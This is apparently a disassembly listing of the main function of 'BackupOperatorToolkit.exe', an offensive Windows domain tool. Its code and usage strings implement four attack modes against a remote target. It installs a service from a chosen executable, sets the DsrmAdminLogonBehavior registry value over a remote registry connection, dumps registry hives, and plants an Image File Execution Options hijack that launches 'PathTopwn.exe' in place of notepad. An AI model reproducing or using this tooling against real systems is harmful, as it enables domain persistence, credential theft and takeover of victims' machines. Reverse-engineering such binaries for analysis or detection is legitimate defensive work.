Function at 0x140001c90
Capabilities:
Set registry value
Terminate process

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, rdx
mov r10d, ecx
cmp ecx, 2
jl 0x140001f50
mov r9, qword [rdx + 8]
lea rcx, str.SERVICE
xor edx, edx
mov qword [0x1400076c0], r9
mov r8d, edx
nop dword [rax + rax]
movzx eax, byte [r9 + r8]
inc r8
cmp al, byte [rcx + r8 - 1]
jne 0x140001d3c
cmp r8, 8
jne 0x140001cd0
cmp r10d, 7
jl 0x140001f50
lea rcx, str.SERVICE_MODE_n
call fcn.140001010
mov rax, qword [rbx + 0x10]
mov qword [0x1400076e8], rax
mov rax, qword [rbx + 0x18]
mov qword [0x1400076c8], rax
mov rax, qword [rbx + 0x20]
mov qword [0x1400076f8], rax
mov rax, qword [rbx + 0x28]
mov qword [0x1400076d8], rax
mov rax, qword [rbx + 0x30]
mov qword [0x140007700], rax
call fcn.140001230
jmp 0x140001f80
mov r8, rdx
lea rcx, str.DSRM
nop word [rax + rax]
movzx eax, byte [r9 + r8]
inc r8
cmp al, byte [rcx + r8 - 1]
jne 0x140001ea3
cmp r8, 5
jne 0x140001d50
cmp r10d, 4
jl 0x140001f50
lea rcx, str.DSRM_MODE_n
call fcn.140001010
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
mov qword [0x1400076c8], rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rcx, qword [0x1400076c8]
lea r8, [rsp + 0x38]
mov rdx, 0xffffffff80000002
mov dword [0x140007708], eax
call qword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
je 0x140001dce
mov edx, eax
lea rcx, str.____RegConnectRegistryW:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Opening_target_hive_to_write_n
call fcn.140001010
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
mov r8d, 0xc
lea rdx, str.SYSTEMCURRENTCONTROLSETCONTROLLSA
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140001e1d
mov edx, eax
lea rcx, str.____RegOpenKeyExA:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, dword [0x140007708]
lea rcx, str.___Setting_DsrmAdminLogonBehavior_value_to__lu_n
call fcn.140001010
mov rcx, qword [rsp + 0x30]
lea rax, [0x140007708]
mov dword [rsp + 0x28], 4
lea rdx, str.DsrmAdminLogonBehavior
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140001e79
mov edx, eax
lea rcx, str.____RegSetValueExA:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x140001f80
mov edx, eax
lea rcx, str.____RegCloseKey:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, rdx
lea r8, str.DUMP
nop dword [rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140001efb
cmp rcx, 5
jne 0x140001eb0
cmp r10d, 4
jl 0x140001f50
lea rcx, str.DUMP_MODE_n
call fcn.140001010
mov rax, qword [rbx + 0x10]
mov qword [0x1400076f0], rax
mov rax, qword [rbx + 0x18]
mov qword [0x1400076c8], rax
call fcn.140001640
jmp 0x140001f80
lea rcx, str.IFEO
movzx eax, byte [r9 + rdx]
inc rdx
cmp al, byte [rcx + rdx - 1]
jne 0x140001f50
cmp rdx, 5
jne 0x140001f02
cmp r10d, 4
jl 0x140001f50
lea rcx, str.IFEO_MODE_n
call fcn.140001010
mov rax, qword [rbx + 0x10]
mov qword [0x1400076e0], rax
mov rax, qword [rbx + 0x18]
mov qword [0x1400076d0], rax
mov rax, qword [rbx + 0x20]
mov qword [0x1400076c8], rax
call fcn.140001980
jmp 0x140001f80
lea rcx, str.Usage:_BackupOperatorToolkit.exe_SERVICE_PATHToService.exe_TARGET.DOMAIN.DK_SERVICENAME_DISPLAYNAME_DESCRIPTION_n
call fcn.140001010
lea rcx, str.Usage:_BackupOperatorToolkit.exe_DSRM_TARGET.DOMAIN.DK_012_n
call fcn.140001010
lea rcx, str.Usage:_BackupOperatorToolkit.exe_DUMP_PATHToDump_TARGET.DOMAIN.DK_____If_the_dump_path_is_local__the_dump_will_be_on_the_remote_computer__n
call fcn.140001010
lea rcx, str.Usage:_BackupOperatorToolkit.exe_IFEO_notepad.exe_PathTopwn.exe_TARGET.DOMAIN.DK__n
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400021a0
add rsp, 0x50
pop rbx
ret